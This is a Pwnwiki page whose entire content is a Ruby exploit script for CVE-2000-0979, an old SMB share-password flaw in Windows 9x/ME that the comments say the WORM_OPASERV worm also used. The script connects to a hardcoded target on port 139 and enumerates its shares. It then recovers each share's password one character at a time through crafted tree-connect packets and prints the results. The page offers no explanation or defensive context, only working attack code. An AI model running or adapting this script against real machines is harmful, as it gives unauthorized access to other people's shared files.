Pwnwiki: Created page with "==EXP==

  # this program will exploit CVE-2000-0979. # Exploit was used by Share Password Checker # http://www.securityfriday.com/tools/SPC.html # and by WORM_OPASERV   #..."

2021-03-31T06:28:09Z

Created page with "==EXP== <pre> # this program will exploit CVE-2000-0979. # Exploit was used by Share Password Checker # http://www.securityfriday.com/tools/SPC.html # and by WORM_OPASERV #..."

New page

==EXP==
<pre>

# this program will exploit CVE-2000-0979.
# Exploit was used by Share Password Checker
# http://www.securityfriday.com/tools/SPC.html
# and by WORM_OPASERV

#TODO convert to Metasploit

require 'socket'
require 'hexdump'
#Method: Rex::Text.to_hex_dump
#Defined in:
# lib/rex/text.rb
#permalink .to_hex_dump(str, width = 16, base = nil) ⇒ Object

#require 'pp'

delay = 0.001

puts "Hello CVE-2000-0979"
hex = Hexdump::Dumper.new
RHOST = '192.168.1.113' #'127.0.0.1'
RPORT = 139

$debug = FALSE

socket = TCPSocket.open(RHOST, RPORT)
BUFFER_SIZE = 1000

def debug_puts(message)
if $debug
puts message
end
end

def debug_hex_dump(hex,message)
if $debug
puts hex.dump(message)
end
end

def sock_close(socket)
debug_puts "Closing the Client..................."
socket.close # Close the socket
end

#todo redo Object oriented
def update_tid(packet, tid)
tid_arr = tid.unpack('C*')
packet.map! { |val|
if val == "tid0" then
tid_arr[0]
elsif val == "tid1" then
tid_arr[1]
else val
end
}
return packet
end

def update_password(packet, nbs_length,length0, length1, byte_count0, byte_count1,password,
share)

new_packet = packet.map { |val|
if val == "length0" then
length0
elsif val == "length1" then
length1
elsif val == "byte_count0" then
byte_count0
elsif val == "byte_count1" then
byte_count1
elsif val == "nbs_length" then
nbs_length
else val
end

}

share_chars = share.chars.map {|val|
val.ord
}

new_packet.insert(new_packet.find_index("share"),share_chars).flatten!
new_packet.delete_at(new_packet.find_index("share"))

new_packet.insert(new_packet.find_index("password"),password).flatten!
new_packet.delete_at(new_packet.find_index("password"))

return new_packet
end

def update_machine_name(packet,machine_name)
packet.insert(packet.find_index("machine_name"),machine_name).flatten!
packet.delete_at(packet.find_index("machine_name"))
return packet
end

def send_and_receive(socket, packet)
hex = Hexdump::Dumper.new

debug_puts "\nFinal client data "
debug_hex_dump(hex,packet.pack('C*').to_s)

socket.send packet.pack('C*'),0
response = socket.recvfrom(BUFFER_SIZE)

debug_puts "\nServer response\n"
debug_hex_dump(hex,response.first.to_s)

return response
end

tree_disconnect_request = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe,
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 ]

machine_name = 32.times.map{ 0x41 + Random.rand(6) }

session_request_def = [0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45,
0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45,
0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, "machine_name", 0x00]

session_request_def = update_machine_name(session_request_def,machine_name)

neg_prot_req = [0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42,
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32,
0x00]

sess_setup_andx_req = [0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74,
0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09,
0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37,
0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e,
0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30,
0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33,
0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69,
0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30,
0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00,
0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01,
0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39,
0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32,
0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50,
0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f,
0x00 ]

netshareenum_request = [0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xff, 0xfe,
0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13,
0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45,
0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72,
0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42,
0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10]

sess_setup_andx_req_anon = [0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00,
0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a,
0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00,
0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20,
0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39,
0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f,
0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20,
0x35, 0x2e, 0x30, 0x00]

tree_connect_request_path_password = [0x00, 0x00, 0x00, "nbs_length", 0xff, 0x53, 0x4d, 0x42,
0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00,
0x00, 0x00, 0x00,
"length0", "length1", "byte_count0", "byte_count1","password",
"share", 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00]

tree_disconnect = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00]

myhash = {}

@client_packets = [{ "tree_disconnect_request" => tree_disconnect_request},
{"close1" => "close"},
{"session_request_def" => session_request_def},
{"neg_prot_req" => neg_prot_req},
{"sess_setup_andx_req" => sess_setup_andx_req},
{"netshareenum_request" => netshareenum_request},
{"close3" => "close"},
{"session_request_2" => session_request_def},
{"neg_prot_req_2" => neg_prot_req},
{"sess_setup_andx_req_anon" => sess_setup_andx_req_anon}
]

i = 0
tid = 0
length0, length1, byte_count0, byte_count1,password, share = 0
shares = Array.new

@client_packets.each_with_index { |val, idx|
begin
if val[val.keys[0]].to_s == "close" and socket then
sock_close(socket) #close
debug_puts "Opening socket again"
socket = TCPSocket.open(RHOST, RPORT) #open new
next
elsif !socket
debug_puts "Opening socket again"
socket = TCPSocket.open(RHOST, RPORT) #open new
next
end

if [ 'netshareenum_request'].include? val.keys[0] then

#update TID in packets
packet = update_tid(val[val.keys[0]], tid)
debug_puts "Packet updated"

else
packet = val[val.keys[0]]
end

debug_puts "\nclient data\n"
debug_puts val.keys[0]
response = send_and_receive(socket,packet)

if val.keys[0] == "sess_setup_andx_req" then
tid = response.first[28..29]
debug_puts "New tree ID TID !!!!!"
debug_hex_dump(hex,tid)
end

if val.keys[0] == "session_request_def" then
session_response = response.first[0]
if (session_response.ord != 0x82) then
puts "Session response is not positive! Exiting."
exit(0)
end
end

if val.keys[0] == "neg_prot_req" then
error_class = response.first[9]
if (error_class.ord != 0x0) then
puts "Error in negotiation! Exiting."
exit(0)
end
end

if val.keys[0] == "netshareenum_request" then
num_of_shares = response.first[65..66].unpack('cc').first
print "Number of shares: "
puts num_of_shares
puts "Share names: "
num_of_shares.times do |n|
offset = (n * 20) + 68
share_name = response.first[offset..offset+15]
shares.push(share_name)
puts "\t" + share_name
end

end

rescue IOError, SocketError, SystemCallError => e
puts e.message
puts e.backtrace.inspect
exit(-1)
end
}

#Start brute-forcing the password
shares.each { |share|
next_share = FALSE
share = share.delete("\000")
#puts share.length

nbs_length = 0x33 + share.length
length0 = 0x01
length1 = 0x00
byte_count0 = 0x08 + share.length
byte_count1 = 0x00
password = [0x20] #TODO skip lowercase letters

puts "Brute-forcing password for share: " + share

while true
begin

packet = update_password(tree_connect_request_path_password,nbs_length, length0, length1,
byte_count0, byte_count1,password,share)
debug_puts "Packet updated"
response = send_and_receive(socket,packet)

if ((response.first[9].unpack('C') +
response.first[10].unpack('C') +
response.first[11].unpack('C') +
response.first[12].unpack('C'))[0] == 0) then

debug_puts 'Auth success, trying next char'

if (password[0] ==0x20 and password[1]==0x20)
puts "Empty password works!\n\n"
next_share=TRUE
break
end

length0 = length0 + 1
nbs_length = nbs_length + 1
byte_count0 = byte_count0 + 1

password.push(0x20)

tid = response.first[28..29]
debug_puts "New tree ID TID !"
debug_hex_dump(hex,tid)

packet = update_tid(tree_disconnect, tid)
response = send_and_receive(socket,tree_disconnect)

else
password[length0-1] = password[length0-1] + 1

password.each { |val|
print val.chr()

}
print "\r"

sleep(delay)

if (password[length0-1] > 128) then
password.each { |val|
if (val < 128) then
print val.chr()
end
}

#TODO check for 0 length password
if length0 > 1
puts "\n"+'<- No more char to try, this should be your password, yikes :) '+"\n\n"
else
puts "Password not found :("+"\n\n"
end

next_share=TRUE
end
end

rescue IOError, SocketError, SystemCallError => e
puts e.message
puts e.backtrace.inspect
exit(-1)
end

if (next_share) #moving on to the next share
break
end
end

}

sock_close(socket)

</pre>

CVE-2000-0979密碼共享漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# this program will exploit CVE-2000-0979. # Exploit was used by Share Password Checker # http://www.securityfriday.com/tools/SPC.html # and by WORM_OPASERV #..."